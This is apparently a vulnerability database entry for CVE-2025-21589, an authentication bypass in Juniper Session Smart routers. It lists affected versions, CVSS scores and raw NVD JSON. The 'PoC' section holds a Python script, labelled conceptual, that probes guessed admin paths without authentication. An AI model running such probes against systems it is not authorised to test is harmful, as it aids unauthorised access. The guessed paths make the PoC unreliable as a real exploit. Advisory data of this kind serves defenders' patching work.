Security Vulnerability Report
中文
CVE-2025-21589 CVSS 9.8 CRITICAL

CVE-2025-21589

Published: 2026-01-27 21:15:56
Last Modified: 2026-04-15 14:34:28

Description

An Authentication Bypass Using an Alternate Path or Channel vulnerability in Juniper Networks Session Smart Router may allows a network-based attacker to bypass authentication and take administrative control of the device. This issue affects Session Smart Router:  * from 5.6.7 before 5.6.17,  * from 6.0 before 6.0.8 (affected from 6.0.8), * from 6.1 before 6.1.12-lts,  * from 6.2 before 6.2.8-lts,  * from 6.3 before 6.3.3-r2;  This issue affects Session Smart Conductor:  * from 5.6.7 before 5.6.17,  * from 6.0 before 6.0.8 (affected from 6.0.8), * from 6.1 before 6.1.12-lts,  * from 6.2 before 6.2.8-lts,  * from 6.3 before 6.3.3-r2;  This issue affects WAN Assurance Managed Routers:  * from 5.6.7 before 5.6.17,  * from 6.0 before 6.0.8 (affected from 6.0.8), * from 6.1 before 6.1.12-lts,  * from 6.2 before 6.2.8-lts,  * from 6.3 before 6.3.3-r2.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Session Smart Router 5.6.7 < 5.6.17
Session Smart Router 6.0 < 6.0.8
Session Smart Router 6.1 < 6.1.12-lts
Session Smart Router 6.2 < 6.2.8-lts
Session Smart Router 6.3 < 6.3.3-r2
Session Smart Conductor 5.6.7 < 5.6.17
Session Smart Conductor 6.0 < 6.0.8
Session Smart Conductor 6.1 < 6.1.12-lts
Session Smart Conductor 6.2 < 6.2.8-lts
Session Smart Conductor 6.3 < 6.3.3-r2
WAN Assurance Managed Routers 5.6.7 < 5.6.17
WAN Assurance Managed Routers 6.0 < 6.0.8
WAN Assurance Managed Routers 6.1 < 6.1.12-lts
WAN Assurance Managed Routers 6.2 < 6.2.8-lts
WAN Assurance Managed Routers 6.3 < 6.3.3-r2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-21589 Authentication Bypass PoC (Conceptual) # Target: Juniper Session Smart Router # Type: Authentication Bypass via Alternate Path/Channel import requests import sys TARGET = "https://<target-ip>:8443" # Replace with target IP CVE_ID = "CVE-2025-21589" def check_vulnerability(): """ Check if target is vulnerable to CVE-2025-21589 This PoC attempts to access admin endpoints without authentication """ # Try alternative management path alt_paths = [ "/api/v1/system/admin", "/admin/config", "/mgmt/api/v1/config", "/api/system/status" ] for path in alt_paths: url = f"{TARGET}{path}" try: # Request without authentication headers response = requests.get(url, verify=False, timeout=10) # Check if we can access admin functionality if response.status_code == 200 and "admin" in response.text.lower(): print(f"[!] Potential vulnerability confirmed: {url}") print(f"[+] Response preview: {response.text[:200]}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print(f"[*] CVE-2025-21589 Exploitation Check") print(f"[*] Target: {TARGET}") if check_vulnerability(): print("[!] Target appears to be vulnerable!") print("[!] Immediate patching recommended.") else: print("[*] Target may not be vulnerable or is patched.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-21589", "sourceIdentifier": "[email protected]", "published": "2026-01-27T21:15:56.040", "lastModified": "2026-04-15T14:34:27.800", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Authentication Bypass Using an\nAlternate Path or Channel vulnerability in Juniper Networks Session Smart\nRouter may allows a network-based attacker to bypass authentication\nand take administrative control of the device.\n\nThis issue affects Session Smart Router: \n\n\n\n * from 5.6.7 before 5.6.17, \n * from 6.0 before 6.0.8 (affected from 6.0.8),\n\n * from 6.1 before 6.1.12-lts, \n * from 6.2 before 6.2.8-lts, \n * from 6.3 before 6.3.3-r2; \n\n\n\n\nThis issue affects Session Smart Conductor: \n\n\n\n * from 5.6.7 before 5.6.17, \n * from 6.0 before 6.0.8 (affected from 6.0.8),\n\n * from 6.1 before 6.1.12-lts, \n * from 6.2 before 6.2.8-lts, \n * from 6.3 before 6.3.3-r2; \n\n\n\n\nThis issue affects WAN Assurance Managed Routers: \n\n\n\n * from 5.6.7 before 5.6.17, \n * from 6.0 before 6.0.8 (affected from 6.0.8),\n\n * from 6.1 before 6.1.12-lts, \n * from 6.2 before 6.2.8-lts, \n * from 6.3 before 6.3.3-r2."}, {"lang": "es", "value": "Una vulnerabilidad de omisión de autenticación usando una ruta o canal alternativo en el router Session Smart de Juniper Networks puede permitir a un atacante basado en la red omitir la autenticación y tomar el control administrativo del dispositivo.\n\nEste problema afecta al Router Session Smart:\n\n * desde 5.6.7 antes de 5.6.17,\n * desde 6.0 antes de 6.0.8 (afectado desde 6.0.8),\n * desde 6.1 antes de 6.1.12-lts,\n * desde 6.2 antes de 6.2.8-lts,\n * desde 6.3 antes de 6.3.3-r2;\n\nEste problema afecta al Conductor Session Smart:\n\n * desde 5.6.7 antes de 5.6.17,\n * desde 6.0 antes de 6.0.8 (afectado desde 6.0.8),\n * desde 6.1 antes de 6.1.12-lts,\n * desde 6.2 antes de 6.2.8-lts,\n * desde 6.3 antes de 6.3.3-r2;\n\nEste problema afecta a los Routers Gestionados de WAN Assurance:\n\n * desde 5.6.7 antes de 5.6.17,\n * desde 6.0 antes de 6.0.8 (afectado desde 6.0.8),\n * desde 6.1 antes de 6.1.12-lts,\n * desde 6.2 antes de 6.2.8-lts,\n * desde 6.3 antes de 6.3.3-r2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-288"}]}], "references": [{"url": "https://kb.juniper.net/JSA94663", "source": "[email protected]"}, {"url": "https://support.juniper.net/support/eol/software/ssr/", "source": "[email protected]"}, {"url": "https://supportportal.juniper.net/", "source": "[email protected]"}]}}